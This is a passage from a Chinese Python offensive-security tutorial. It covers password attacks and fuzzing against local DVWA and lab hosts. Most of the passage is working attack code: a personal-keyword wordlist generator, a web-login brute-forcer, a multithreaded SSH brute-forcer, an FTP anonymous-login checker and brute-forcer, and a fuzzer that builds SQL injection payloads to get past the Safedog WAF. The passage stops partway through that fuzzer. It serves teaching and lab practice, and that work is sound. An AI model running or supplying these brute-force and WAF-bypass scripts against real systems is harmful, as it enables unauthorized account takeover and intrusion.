   <p><strong>身份认证攻击</strong>总的来说分为三种攻击<strong></strong>方式:<br> <strong>字典破解</strong>:利用工具提前生成好字典文件,只需让破解脚本对的内容逐一尝试破解即可。这种方式效率高,成功率一般。<br> <strong>暴力破解</strong>:这种方式最为粗暴,不需要。将所有可能性的密码组合(如字母+数字+特殊字符)全部进行尝试。这种方式需要花费大量的时间,效率很低,但是在没有其他条件限制的情况下肯定能猜到密码,成功率高。<br> <strong>混合破解</strong>:多种破解技术结合使用。这种方法效率高,成功率也较高。</p> 
  </blockquote> 
  <h3>Python社工字典生成</h3> 
  <pre><code class="prism language-python"><span class="token keyword">import</span> itertools

<span class="token keyword">def</span> <span class="token function">ReadInformationList</span><span class="token punctuation">(</span>infolist<span class="token punctuation">)</span><span class="token punctuation">:</span>
    <span class="token keyword">for</span> i <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">:</span>
        lines <span class="token operator">=</span> <span class="token builtin">input</span><span class="token punctuation">(</span><span class="token string">'请输入第%s个关键字:'</span><span class="token operator">%</span>i<span class="token punctuation">)</span>
        infolist<span class="token punctuation">.</span>append<span class="token punctuation">(</span>lines<span class="token punctuation">.</span>strip<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>

<span class="token keyword">def</span> <span class="token function">CreateNumberList</span><span class="token punctuation">(</span>numberList<span class="token punctuation">)</span><span class="token punctuation">:</span>
    words <span class="token operator">=</span> <span class="token string">"0123456789"</span>
    itertoolsNumberList <span class="token operator">=</span> itertools<span class="token punctuation">.</span>product<span class="token punctuation">(</span>words<span class="token punctuation">,</span>repeat<span class="token operator">=</span><span class="token number">2</span><span class="token punctuation">)</span> <span class="token comment"># 所有两位数</span>
    <span class="token keyword">for</span> number <span class="token keyword">in</span> itertoolsNumberList<span class="token punctuation">:</span>
        numberList<span class="token punctuation">.</span>append<span class="token punctuation">(</span><span class="token string">""</span><span class="token punctuation">.</span>join<span class="token punctuation">(</span>number<span class="token punctuation">)</span><span class="token punctuation">)</span>
    

<span class="token keyword">def</span> <span class="token function">CreateSpecialList</span><span class="token punctuation">(</span>specialList<span class="token punctuation">)</span><span class="token punctuation">:</span>
    specialWords <span class="token operator">=</span> <span class="token string">"~!@#$%^&*()_+`-=,/:><.\|"</span>  <span class="token comment"># 特殊字符</span>
    <span class="token keyword">for</span> i <span class="token keyword">in</span> specialWords<span class="token punctuation">:</span>
        specialList<span class="token punctuation">.</span>append<span class="token punctuation">(</span><span class="token string">""</span><span class="token punctuation">.</span>join<span class="token punctuation">(</span>i<span class="token punctuation">)</span><span class="token punctuation">)</span>

<span class="token comment"># 创建Combinatjon()函数字典生成算法主体 可自定义组合算法</span>
<span class="token comment"># 关键字与两位数和一位特殊字符组合</span>
<span class="token keyword">def</span> <span class="token function">main</span><span class="token punctuation">(</span>dictionaryFile<span class="token punctuation">)</span><span class="token punctuation">:</span>
    <span class="token keyword">for</span> a <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token builtin">len</span><span class="token punctuation">(</span>infolist<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">:</span>
        <span class="token keyword">for</span> b <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token builtin">len</span><span class="token punctuation">(</span>numberList<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">:</span>
            <span class="token keyword">for</span> c <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token builtin">len</span><span class="token punctuation">(</span>specialList<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">:</span>
                dictionaryFile<span class="token punctuation">.</span>append<span class="token punctuation">(</span>infolist<span class="token punctuation">[</span>a<span class="token punctuation">]</span> <span class="token operator">+</span> numberList<span class="token punctuation">[</span>b<span class="token punctuation">]</span> <span class="token operator">+</span> specialList<span class="token punctuation">[</span>c<span class="token punctuation">]</span><span class="token punctuation">)</span>

                dictionaryFile<span class="token punctuation">.</span>append<span class="token punctuation">(</span>infolist<span class="token punctuation">[</span>a<span class="token punctuation">]</span> <span class="token operator">+</span> specialList<span class="token punctuation">[</span>c<span class="token punctuation">]</span> <span class="token operator">+</span> numberList<span class="token punctuation">[</span>b<span class="token punctuation">]</span><span class="token punctuation">)</span>

                dictionaryFile<span class="token punctuation">.</span>append<span class="token punctuation">(</span>specialList<span class="token punctuation">[</span>c<span class="token punctuation">]</span> <span class="token operator">+</span> infolist<span class="token punctuation">[</span>a<span class="token punctuation">]</span> <span class="token operator">+</span> numberList<span class="token punctuation">[</span>b<span class="token punctuation">]</span><span class="token punctuation">)</span>

                dictionaryFile<span class="token punctuation">.</span>append<span class="token punctuation">(</span>specialList<span class="token punctuation">[</span>c<span class="token punctuation">]</span> <span class="token operator">+</span> numberList<span class="token punctuation">[</span>b<span class="token punctuation">]</span> <span class="token operator">+</span> infolist<span class="token punctuation">[</span>a<span class="token punctuation">]</span><span class="token punctuation">)</span>

                dictionaryFile<span class="token punctuation">.</span>append<span class="token punctuation">(</span>numberList<span class="token punctuation">[</span>b<span class="token punctuation">]</span> <span class="token operator">+</span> infolist<span class="token punctuation">[</span>a<span class="token punctuation">]</span> <span class="token operator">+</span> specialList<span class="token punctuation">[</span>c<span class="token punctuation">]</span><span class="token punctuation">)</span>

                dictionaryFile<span class="token punctuation">.</span>append<span class="token punctuation">(</span>numberList<span class="token punctuation">[</span>b<span class="token punctuation">]</span> <span class="token operator">+</span> specialList<span class="token punctuation">[</span>c<span class="token punctuation">]</span> <span class="token operator">+</span> infolist<span class="token punctuation">[</span>a<span class="token punctuation">]</span><span class="token punctuation">)</span>
                <span class="token keyword">for</span> i <span class="token keyword">in</span> dictionaryFile<span class="token punctuation">:</span>
                    <span class="token keyword">print</span><span class="token punctuation">(</span>i<span class="token punctuation">)</span>




<span class="token keyword">if</span> __name__ <span class="token operator">==</span> <span class="token string">'__main__'</span><span class="token punctuation">:</span>
    infolist <span class="token operator">=</span><span class="token punctuation">[</span><span class="token punctuation">]</span>
    ReadInformationList<span class="token punctuation">(</span>infolist<span class="token punctuation">)</span>
    
    numberList <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span>
    CreateNumberList<span class="token punctuation">(</span>numberList<span class="token punctuation">)</span>

    specialList <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span>
    CreateSpecialList<span class="token punctuation">(</span>specialList<span class="token punctuation">)</span>

    dictionaryFile <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span>
    main<span class="token punctuation">(</span>dictionaryFile<span class="token punctuation">)</span>
</code></pre> 
  <p><a href="http://img.e-com-net.com/image/info8/cb536aea772f4d0497aeec0635292f0d.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/cb536aea772f4d0497aeec0635292f0d.jpg" alt="Python安全攻防-从入门到入狱_第28张图片" width="570" height="331" style="border:1px solid black;"></a></p> 
  <h3>Python后台弱口令爆破</h3> 
  <blockquote> 
   <p><strong>弱口令</strong></p> 
  </blockquote> 
  <p><a href="http://img.e-com-net.com/image/info8/0030cc9ddc434e279295ae91ed20c7ff.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/0030cc9ddc434e279295ae91ed20c7ff.jpg" alt="Python安全攻防-从入门到入狱_第29张图片" width="438" height="265" style="border:1px solid black;"></a></p> 
  <p><code>DVWA靶场 根据返回数据包的不同---成功与否,关键在于是否强大</code></p> 
  <pre><code class="prism language-python"><span class="token keyword">import</span> requests

<span class="token keyword">def</span> <span class="token function">get_user</span><span class="token punctuation">(</span>user<span class="token punctuation">)</span><span class="token punctuation">:</span>
    a <span class="token operator">=</span> <span class="token builtin">open</span><span class="token punctuation">(</span><span class="token string">'username.txt'</span><span class="token punctuation">,</span><span class="token string">'r'</span><span class="token punctuation">)</span>
    <span class="token keyword">for</span> i <span class="token keyword">in</span> a<span class="token punctuation">:</span>
        user<span class="token punctuation">.</span>append<span class="token punctuation">(</span>i<span class="token punctuation">.</span>strip<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>


<span class="token keyword">def</span> <span class="token function">get_psd</span><span class="token punctuation">(</span>psd<span class="token punctuation">)</span><span class="token punctuation">:</span>
    b <span class="token operator">=</span> <span class="token builtin">open</span><span class="token punctuation">(</span><span class="token string">'password.txt'</span><span class="token punctuation">,</span><span class="token string">'r'</span><span class="token punctuation">)</span>
    <span class="token keyword">for</span> i <span class="token keyword">in</span> b<span class="token punctuation">:</span>
        psd<span class="token punctuation">.</span>append<span class="token punctuation">(</span>i<span class="token punctuation">.</span>strip<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>

<span class="token keyword">def</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>
    cookiesDit <span class="token operator">=</span> <span class="token punctuation">{</span>
        <span class="token string">'security'</span><span class="token punctuation">:</span><span class="token string">'low'</span><span class="token punctuation">,</span>
        <span class="token string">'PHPSESSID'</span><span class="token punctuation">:</span><span class="token string">'ridh5ntp6u7ua2lisb1469c2r4'</span>
        <span class="token punctuation">}</span>
    <span class="token keyword">for</span> c <span class="token keyword">in</span> user<span class="token punctuation">:</span>
        <span class="token keyword">for</span> d <span class="token keyword">in</span> psd<span class="token punctuation">:</span>
            url <span class="token operator">=</span> <span class="token string">'http://127.0.0.1/dvwa/vulnerabilities/brute/?username={}&password={}&Login=Login'</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>c<span class="token punctuation">,</span>d<span class="token punctuation">)</span>
            responses <span class="token operator">=</span> requests<span class="token punctuation">.</span>get<span class="token punctuation">(</span>url<span class="token punctuation">,</span>cookies<span class="token operator">=</span>cookiesDit<span class="token punctuation">)</span>
            <span class="token keyword">if</span> <span class="token string">'Welcome to the password'</span> <span class="token keyword">in</span> responses<span class="token punctuation">.</span>text<span class="token punctuation">:</span>
                <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"success!!! 用户名:{},密码:{}"</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>c<span class="token punctuation">,</span>d<span class="token punctuation">)</span><span class="token punctuation">)</span>

            
<span class="token keyword">if</span> __name__ <span class="token operator">==</span> <span class="token string">'__main__'</span><span class="token punctuation">:</span>
    user <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span>
    get_user<span class="token punctuation">(</span>user<span class="token punctuation">)</span>   

    psd <span class="token operator">=</span><span class="token punctuation">[</span><span class="token punctuation">]</span>
    get_psd<span class="token punctuation">(</span>psd<span class="token punctuation">)</span>

    main<span class="token punctuation">(</span><span class="token punctuation">)</span>
</code></pre> 
  <p><a href="http://img.e-com-net.com/image/info8/09fbeef8165d459fb1828162c00fb778.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/09fbeef8165d459fb1828162c00fb778.jpg" alt="Python安全攻防-从入门到入狱_第30张图片" width="475" height="159" style="border:1px solid black;"></a></p> 
  <h3>SSH暴力破解</h3> 
  <blockquote> 
   <p>**SSH(SecureShell)是目前较可靠、专为远程登录会话和其他网络服务提供安全性的协议,主要用于给远程登录会话数据进行加密,保证数据传输的安全。**SH口令长度太短或者复杂度不够,如仅包含数字或仅包含字母等时,容易被攻击者破解。口令—旦被攻击者获取,将可用来直接登录系统,控制服务器的所有权限!</p> 
  </blockquote> 
  <p><code>SSH主要应用于类UNIX系统中,从客户端来看, SSH提供两种级别的安全验证:1️基于密码的安全验证、2️⃣基于密钥️的安全验证.</code></p> 
  <pre><code class="prism language-python"><span class="token keyword">from</span> pexpect <span class="token keyword">import</span> pxssh
<span class="token keyword">import</span> optparse
<span class="token keyword">from</span> threading <span class="token keyword">import</span> <span class="token operator">*</span>

Max_Connect <span class="token operator">=</span> <span class="token number">5</span>
connection_lock <span class="token operator">=</span> BoundedSemaphore<span class="token punctuation">(</span>value<span class="token operator">=</span>Max_Connect<span class="token punctuation">)</span> <span class="token comment">#  BoundedSemaphore 限制多进程访问</span>

<span class="token keyword">def</span> <span class="token function">connect</span><span class="token punctuation">(</span>host<span class="token punctuation">,</span> user<span class="token punctuation">,</span> password<span class="token punctuation">)</span><span class="token punctuation">:</span>
    <span class="token keyword">try</span><span class="token punctuation">:</span>
        s <span class="token operator">=</span> pxssh<span class="token punctuation">.</span>pxssh<span class="token punctuation">(</span><span class="token punctuation">)</span>                   <span class="token comment">#pxssh不支持Windows</span>
        s<span class="token punctuation">.</span>login<span class="token punctuation">(</span>host<span class="token punctuation">,</span> user<span class="token punctuation">,</span> password<span class="token punctuation">)</span>
        <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"[+]Password Found:"</span><span class="token operator">+</span>password<span class="token punctuation">)</span>
        Found <span class="token operator">=</span> <span class="token boolean">True</span>
    <span class="token keyword">except</span> Exception <span class="token keyword">as</span> e<span class="token punctuation">:</span>
        <span class="token keyword">pass</span>
<span class="token keyword">def</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>
    parser <span class="token operator">=</span> optparse<span class="token punctuation">.</span>OptionParser<span class="token punctuation">(</span><span class="token string">'usage %prog -H <target host> -f <passwd file> -u <username>'</span><span class="token punctuation">)</span>
    parser<span class="token punctuation">.</span>add_option<span class="token punctuation">(</span><span class="token string">'-H'</span><span class="token punctuation">,</span> dest<span class="token operator">=</span><span class="token string">'host'</span><span class="token punctuation">,</span> <span class="token builtin">type</span><span class="token operator">=</span><span class="token string">'string'</span><span class="token punctuation">,</span> <span class="token builtin">help</span><span class="token operator">=</span><span class="token string">'target host'</span><span class="token punctuation">)</span>
    parser<span class="token punctuation">.</span>add_option<span class="token punctuation">(</span><span class="token string">'-f'</span><span class="token punctuation">,</span> dest<span class="token operator">=</span><span class="token string">'passwdfile'</span><span class="token punctuation">,</span><span class="token builtin">type</span><span class="token operator">=</span><span class="token string">'string'</span><span class="token punctuation">,</span> <span class="token builtin">help</span><span class="token operator">=</span><span class="token string">'passwofile'</span><span class="token punctuation">)</span>
    parser<span class="token punctuation">.</span>add_option<span class="token punctuation">(</span><span class="token string">'-u'</span><span class="token punctuation">,</span> dest<span class="token operator">=</span><span class="token string">'user'</span><span class="token punctuation">,</span> <span class="token builtin">type</span><span class="token operator">=</span><span class="token string">'string'</span><span class="token punctuation">,</span> <span class="token builtin">help</span><span class="token operator">=</span><span class="token string">'login username'</span><span class="token punctuation">)</span>
    <span class="token punctuation">(</span>options<span class="token punctuation">,</span>args<span class="token punctuation">)</span> <span class="token operator">=</span> parser<span class="token punctuation">.</span>parse_args<span class="token punctuation">(</span><span class="token punctuation">)</span>
    host <span class="token operator">=</span> options<span class="token punctuation">.</span>host
    passwdfile <span class="token operator">=</span> options<span class="token punctuation">.</span>passwdfile
    user <span class="token operator">=</span> options<span class="token punctuation">.</span>user
    <span class="token keyword">if</span> host<span class="token operator">==</span><span class="token boolean">None</span> <span class="token keyword">or</span> passwdfile<span class="token operator">==</span><span class="token boolean">None</span> <span class="token keyword">or</span> user<span class="token operator">==</span><span class="token boolean">None</span><span class="token punctuation">:</span>
        <span class="token keyword">print</span><span class="token punctuation">(</span>parser<span class="token punctuation">.</span>usage<span class="token punctuation">)</span>
        exit<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span>
    mn <span class="token operator">=</span> <span class="token builtin">open</span><span class="token punctuation">(</span>passwdfile<span class="token punctuation">,</span><span class="token string">'r'</span><span class="token punctuation">)</span>
    lines <span class="token operator">=</span> mn<span class="token punctuation">.</span>readlines<span class="token punctuation">(</span><span class="token punctuation">)</span>
    <span class="token keyword">for</span> line <span class="token keyword">in</span> lines<span class="token punctuation">:</span>
        <span class="token keyword">with</span> connection_lock<span class="token punctuation">:</span>
            password <span class="token operator">=</span> line<span class="token punctuation">.</span>strip<span class="token punctuation">(</span><span class="token string">'\n'</span><span class="token punctuation">)</span>
            <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">'[-] Test:'</span><span class="token operator">+</span><span class="token builtin">str</span><span class="token punctuation">(</span>password<span class="token punctuation">)</span><span class="token punctuation">)</span>
            t <span class="token operator">=</span> Thread<span class="token punctuation">(</span>target<span class="token operator">=</span>connect<span class="token punctuation">,</span>args<span class="token operator">=</span><span class="token punctuation">(</span>host<span class="token punctuation">,</span> user<span class="token punctuation">,</span> password<span class="token punctuation">)</span><span class="token punctuation">)</span>
            t<span class="token punctuation">.</span>start<span class="token punctuation">(</span><span class="token punctuation">)</span>
<span class="token keyword">if</span> __name__ <span class="token operator">==</span> <span class="token string">'__main__'</span><span class="token punctuation">:</span>
    main<span class="token punctuation">(</span><span class="token punctuation">)</span>
</code></pre> 
  <p><a href="http://img.e-com-net.com/image/info8/5da7d693395e4299ba841d675fbfb274.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/5da7d693395e4299ba841d675fbfb274.jpg" alt="Python安全攻防-从入门到入狱_第31张图片" width="591" height="177" style="border:1px solid black;"></a></p> 
  <h3>FTP暴力破解</h3> 
  <blockquote> 
   <p>1️<strong>FTP</strong>是一个<strong>文件传输协议</strong>,用户通过TP可从客户机程序向远程主机上传或下载文件,常用于网站代码维护、日常源码备份等。如果攻击者通过TP匿名访问或者通过弱口令破解获取FTP权限,将可直接上传WebShell来进一步渗透提权,直至控制整个网站服务器。</p> 
  </blockquote> 
  <blockquote> 
   <p>2️<strong>FTP</strong>是基于CP的,TP的命令端口为21,数据端口为20。TP的任务是将一台的文件传送到另一台上。在使用TP前需要进行身份验证,验证通过后才能获得相应的权限。</p> 
  </blockquote> 
  <p><a href="http://img.e-com-net.com/image/info8/5282ccc9075f42a6a6306eb8a4bf2648.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/5282ccc9075f42a6a6306eb8a4bf2648.jpg" alt="Python安全攻防-从入门到入狱_第32张图片" width="650" height="251" style="border:1px solid black;"></a></p> 
  <pre><code class="prism language-python"><span class="token keyword">import</span> ftplib

<span class="token comment"># 检查FTP是否允许匿名账户登录</span>
<span class="token keyword">def</span> <span class="token function">CheckFTP_login</span><span class="token punctuation">(</span>hostname<span class="token punctuation">)</span><span class="token punctuation">:</span>
    f <span class="token operator">=</span> ftplib<span class="token punctuation">.</span>FTP<span class="token punctuation">(</span>hostname<span class="token punctuation">)</span>
    <span class="token keyword">try</span><span class="token punctuation">:</span>
        <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">'[-] checking user [anonymous] with password [anonymous]'</span><span class="token punctuation">)</span>
        f<span class="token punctuation">.</span>connect<span class="token punctuation">(</span>hostname<span class="token punctuation">,</span><span class="token number">21</span><span class="token punctuation">,</span>timeout<span class="token operator">=</span><span class="token number">10</span><span class="token punctuation">)</span>
        f<span class="token punctuation">.</span>login<span class="token punctuation">(</span><span class="token punctuation">)</span>
        <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"\n[+] Credentials have found succcessfully."</span><span class="token punctuation">)</span>
        <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"\n[+] Username:anonymous"</span><span class="token punctuation">)</span>
        <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"\n[+] Password:anonymous"</span><span class="token punctuation">)</span>
        <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"success!!!username:{},password:{}"</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span><span class="token string">"anonymous"</span><span class="token punctuation">,</span><span class="token string">"anonymous"</span><span class="token punctuation">)</span><span class="token punctuation">)</span>
        f<span class="token punctuation">.</span>quit<span class="token punctuation">(</span><span class="token punctuation">)</span>
    <span class="token keyword">except</span> ftplib<span class="token punctuation">.</span>all_errors<span class="token punctuation">:</span>
        <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"\n[+] Anonymous login is prohibited!!!"</span><span class="token punctuation">)</span>
        <span class="token keyword">pass</span>
<span class="token comment"># 爆破用户名和密码</span>
<span class="token keyword">def</span> <span class="token function">violence_Login</span><span class="token punctuation">(</span>hostname<span class="token punctuation">)</span><span class="token punctuation">:</span>
    ftp<span class="token operator">=</span>ftplib<span class="token punctuation">.</span>FTP<span class="token punctuation">(</span>hostname<span class="token punctuation">)</span>

    u<span class="token operator">=</span><span class="token builtin">open</span><span class="token punctuation">(</span><span class="token string">'ftp_user.txt'</span><span class="token punctuation">,</span><span class="token string">'r'</span><span class="token punctuation">)</span>
    lines_user<span class="token operator">=</span>u<span class="token punctuation">.</span>readlines<span class="token punctuation">(</span><span class="token punctuation">)</span>
    usernameList <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span>
    <span class="token keyword">for</span> m <span class="token keyword">in</span> lines_user<span class="token punctuation">:</span>
        usernameList<span class="token operator">=</span><span class="token punctuation">[</span><span class="token string">' '</span><span class="token punctuation">.</span>join<span class="token punctuation">(</span><span class="token punctuation">[</span>n<span class="token punctuation">.</span>strip<span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token keyword">for</span> n <span class="token keyword">in</span> usr<span class="token punctuation">.</span>strip<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>split<span class="token punctuation">(</span><span class="token string">'\t'</span><span class="token punctuation">)</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token keyword">for</span> usr <span class="token keyword">in</span> lines_user<span class="token punctuation">]</span>
    
    p<span class="token operator">=</span><span class="token builtin">open</span><span class="token punctuation">(</span><span class="token string">'ftp_pwd.txt'</span><span class="token punctuation">,</span><span class="token string">'r'</span><span class="token punctuation">)</span>
    lines_psd<span class="token operator">=</span>p<span class="token punctuation">.</span>readlines<span class="token punctuation">(</span><span class="token punctuation">)</span>
    passwordList <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span>
    <span class="token keyword">for</span> m <span class="token keyword">in</span> lines_psd<span class="token punctuation">:</span>
        passwordList<span class="token operator">=</span><span class="token punctuation">[</span><span class="token string">' '</span><span class="token punctuation">.</span>join<span class="token punctuation">(</span><span class="token punctuation">[</span>n<span class="token punctuation">.</span>strip<span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token keyword">for</span> n <span class="token keyword">in</span> psd<span class="token punctuation">.</span>strip<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>split<span class="token punctuation">(</span><span class="token string">'\t'</span><span class="token punctuation">)</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token keyword">for</span> psd <span class="token keyword">in</span> lines_psd<span class="token punctuation">]</span>

    <span class="token keyword">for</span> user <span class="token keyword">in</span> usernameList<span class="token punctuation">:</span>
        <span class="token keyword">for</span> pasw <span class="token keyword">in</span> passwordList<span class="token punctuation">:</span>
            <span class="token keyword">try</span><span class="token punctuation">:</span>
                <span class="token keyword">if</span> ftp<span class="token punctuation">.</span>login<span class="token punctuation">(</span>user<span class="token punctuation">,</span>pasw<span class="token punctuation">)</span><span class="token punctuation">:</span>
                    <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"\n[+] success!!! username:{},password:{}"</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>user<span class="token punctuation">,</span>pasw<span class="token punctuation">)</span><span class="token punctuation">)</span>
                    ftp<span class="token punctuation">.</span>quit<span class="token punctuation">(</span><span class="token punctuation">)</span> 
            <span class="token keyword">except</span><span class="token punctuation">:</span>
                <span class="token keyword">pass</span>


CheckFTP_login<span class="token punctuation">(</span><span class="token string">'192.168.12.131'</span><span class="token punctuation">)</span>
violence_Login<span class="token punctuation">(</span><span class="token string">'192.168.12.131'</span><span class="token punctuation">)</span>
</code></pre> 
  <p><code>1️⃣允许匿名登录</code><br> <a href="http://img.e-com-net.com/image/info8/25fc5d1b7ebb481c8199c0e29fb1ccfd.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/25fc5d1b7ebb481c8199c0e29fb1ccfd.jpg" alt="Python安全攻防-从入门到入狱_第33张图片" width="487" height="359" style="border:1px solid black;"></a><a href="http://img.e-com-net.com/image/info8/8453437985914b4c88f00baf3182327a.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/8453437985914b4c88f00baf3182327a.jpg" alt="Python安全攻防-从入门到入狱_第34张图片" width="650" height="153" style="border:1px solid black;"></a><br> <code>2️⃣禁止匿名登录</code><br> <a href="http://img.e-com-net.com/image/info8/e41842f95fcf457992b3b2311b90703c.png" target="_blank"><img src="http://img.e-com-net.com/image/info8/e41842f95fcf457992b3b2311b90703c.png" alt="Python安全攻防-从入门到入狱_第35张图片" width="882" height="146" style="border:1px solid black;"></a></p> 
  <h2>八、Fuzz测试</h2> 
  <blockquote> 
   <p><strong>FUZZ在渗透测试中应用广泛,可以用于硬件测试软件测试、安全测试等,是一种高效的、能快速检查潜在安全威胁的技术。</strong></p> 
  </blockquote> 
  <h3>Python绕过安全狗</h3> 
  <p><code>安全狗版本为v4.0 Apache版 + 本地DVWA-SQL Injection</code><br> <a href="http://img.e-com-net.com/image/info8/ca99848f6a7b443d9635bd354afda651.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/ca99848f6a7b443d9635bd354afda651.jpg" alt="Python安全攻防-从入门到入狱_第36张图片" width="650" height="374" style="border:1px solid black;"></a><code>常见的绕过安全的方式有4种:利用string绕过、利用User-agent绕过、利用MySQL语法和html的特殊性绕过、利用畸形数据包绕过。</code><br> <code>判断返回的页面是否为安全拦截显示的页面,使用页面中返回的</code>攻击请求<code>进行判断,不存在这4个字,则表示已经绕过了安全狗。</code></p> 
  <pre><code class="prism language-python"><span class="token keyword">import</span> requests
<span class="token keyword">import</span> sys
 
fuzz_x <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">'/*'</span><span class="token punctuation">,</span><span class="token string">'*/'</span><span class="token punctuation">,</span><span class="token string">'/*!'</span><span class="token punctuation">,</span><span class="token string">'/**/'</span><span class="token punctuation">,</span><span class="token string">'?'</span><span class="token punctuation">,</span><span class="token string">'/'</span><span class="token punctuation">,</span><span class="token string">'*'</span><span class="token punctuation">,</span><span class="token string">'='</span><span class="token punctuation">,</span><span class="token string">'`'</span><span class="token punctuation">,</span><span class="token string">'!'</span><span class="token punctuation">,</span><span class="token string">'@'</span><span class="token punctuation">,</span><span class="token string">'%'</span><span class="token punctuation">,</span><span class="token string">'_'</span><span class="token punctuation">,</span><span class="token string">'-'</span><span class="token punctuation">,</span><span class="token string">'+'</span><span class="token punctuation">,</span><span class="token string">'|'</span><span class="token punctuation">,</span><span class="token string">'%00'</span><span class="token punctuation">]</span>
fuzz_y <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">''</span><span class="token punctuation">,</span><span class="token string">' '</span><span class="token punctuation">]</span>
fuzz_z <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"%0a"</span><span class="token punctuation">,</span><span class="token string">"%0b"</span><span class="token punctuation">,</span><span class="token string">"%0c"</span><span class="token punctuation">,</span><span class="token string">"%0d"</span><span class="token punctuation">,</span><span class="token string">"%0e"</span><span class="token punctuation">,</span><span class="token string">"%0f"</span><span class="token punctuation">,</span><span class="token string">"%0g"</span><span class="token punctuation">]</span>

fuzz <span class="token operator">=</span> fuzz_x<span class="token operator">+</span>fuzz_y<span class="token operator">+</span>fuzz_z
headers <span class="token operator">=</span> <span class="token punctuation">{</span>
    <span class="token string">"User-Agent"</span><span class="token punctuation">:</span><span class="token string">"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36"</span><span class="token punctuation">,</span>
    <span class="token string">"Cookie"</span><span class="token punctuation">:</span> <span class="token string">"security=low; PHPSESSID=6l0tittmdhgtpiktaffs9rqnvp"</span>
<span class="token punctuation">}</span>
url_start <span class="token operator">=</span> <span class="token string">"http://192.168.12.131/dvwa/vulnerabilities/sqli/?id=1"</span>

<span class="token builtin">len</span> <span class="token operator">=</span> <span class="token builtin">len</span><span class="token punctuation">(</span>fuzz<span class="token punctuation">)</span><span class="token operator">**</span><span class="token number">3</span>
num <span class="token operator">=</span> <span class="token number">0</span>
<span class="token comment">#组合</span>
<span class="token keyword">for</span> a <span class="token keyword">in</span> fuzz<span class="token punctuation">:</span>
    <span class="token keyword">for</span> b <span class="token keyword">in</span> fuzz<span class="token punctuation">:</span>
        <span class="token keyword">for</span> c <span class="token keyword">in</span> fuzz<span class="token punctuation">:</span>
            num <span class="token operator">+=</span> <span class="token number">1</span>

            payload <span class="token operator">=</span> <span class="token string">"'/**//*!*/and/*!*/"</span><span class="token operator">+</span>a<span class="token operator">+</span>b<span class="token operator">+</span>c<span class="token operator">+</span><span class="token string">"/**/'1'='1"</span>
            url <span class="token operator">=</span> url_start <span class="token operator">+</span> payload<span class="token operator">+</span><span class="token string">"&Submit=Submit#"</span>
            sys<span class="token punctuation">.</span>stdout<span class="token punctuation">.</span>write<span class="token punctuation">(</span><span class="token string">' '</span><span class="token operator">*</span><span class="token number">30</span> <span class="token operator">+</span><span class="token string">'\r'</span><span class="token punctuation">)</span>
            sys<span class="token punctuation">.</span>stdout<span class="token punctuation">.</span>flush<span class="token punctuation">(</span><span class="token punctuation">)</span>
            <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"Now URL:"</span><span class="token operator">+</span>url<span class="token punctuation">)</span>
